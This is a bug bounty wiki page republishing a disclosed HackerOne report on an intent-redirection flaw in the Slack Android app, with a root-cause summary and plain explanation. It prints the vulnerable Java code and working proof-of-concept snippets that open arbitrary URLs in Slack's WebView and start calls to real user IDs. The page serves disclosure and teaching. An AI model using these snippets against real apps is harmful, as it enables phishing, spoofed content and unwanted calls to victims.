Skip to content
Access control Disclosed report Intermediate

Access of Android protected components via embedded intent

The Slack Android app's exported HomeActivity accepted an attacker-supplied Intent as a nested deep link and started it, allowing access to any protected or non-exported activity. An attacker could open arbitrary links in a WebView, initiate calls, or display fake content.

bagipro Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 19 days
  • Fixed in 4 months
  • Paid in 4 months
  • Disclosed after 6 months

Summary by the program

@bagipro found a vulnerability wherein a malicious and unprivileged app on the victim's phone could interact with any activity in the Slack Android app, allowing manipulation of the app in unintended ways. Thanks for the finding @bagipro!

Summary by the researcher

I found the following code inside com.Slack.ui.HomeActivity (exported activity, it means that any third-party app installed on the device/instant app can access it)

Java
protected void onResume() {
    // ...
    handleIntentExtras(getIntent()); // attacker can pass anything to getIntent()
}

private void handleIntentExtras(Intent intent) {
    // ...
    Intent deeplinkIntent = (Intent) intent.getParcelableExtra("extra_deep_link_intent");
    //  ...
    if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) {
        // ...
        startActivity(deeplinkIntent); // danger! starting an intent provided by an attacker
        // ...
    }
    // ...
}

So we get that ANY protected/not exported activity can be reached. Here is an example how it can be used against com.Slack.ui.WebViewActivity, opening arbitrary link inside WebView

Java
Intent next = new Intent();
next.setClassName("com.Slack", "com.Slack.ui.WebViewActivity");
next.putExtra("extra_url", "http://example.com/");
next.putExtra("extra_title", "test");

Intent start = new Intent();
start.setClassName("com.Slack", "com.Slack.ui.HomeActivity");
start.putExtra("extra_deep_link_intent", next);

startActivity(start);

It could be used with javascript: scheme to trigger XSS, or perform fishing attacks (because users don't see the real URL, only the title provided by the attacker)

Result:

Making calls to real people

Java
Intent next = new Intent("create");
next.setClassName("com.Slack", "com.Slack.ui.CallActivity");
next.putExtra("EXTRA_CALL_NAME", "Fake call name");
next.putExtra("EXTRA_CALLER_ID", "U1RFBBPCP");
next.putExtra("EXTRA_CHANNEL_NAME", "Fake channel name");
next.putExtra("EXTRA_CHANNEL_ID", "D2B84FUFQ");
next.putExtra("EXTRA_USERS_TO_INVITE", new ArrayList<String>(Arrays.asList(new String[] { "U2B81JBAL" })));

Intent start = new Intent();
start.setClassName("com.Slack", "com.Slack.ui.HomeActivity");
start.putExtra("extra_deep_link_intent", next);

startActivity(start);

Result:

Was able to perform other actions too like show fake comments and content, spoof received files (with social engineering could be used to force users to download any files provided by the attacker)

The original report as published on HackerOne, by bagipro. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The exported HomeActivity passed an attacker-controlled Parcelable Intent to startActivity without validating the target component or the caller.

What the attacker needed

Malicious app installed on victim's phone

How it was found

  1. Create an Intent targeting a protected Slack activity, such as WebViewActivity, and add extras like a URL and title.
  2. Create a second Intent targeting the exported HomeActivity and put the first Intent as the 'extra_deep_link_intent' extra.
  3. Start the second Intent from a malicious app.
  4. HomeActivity's onResume calls handleIntentExtras, which extracts the nested Intent and calls startActivity on it, launching the protected activity.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An exported activity is a screen in an app that any other app on the phone can launch. Slack's main screen took an extra 'deep link' instruction from whoever launched it and then opened that instruction without checking where it came from. This let a malicious app make Slack open its own private screens, such as a web viewer or the call screen, with content the attacker chose.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by bagipro

View all

13 more disclosed reports, best first.

More from Slack

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.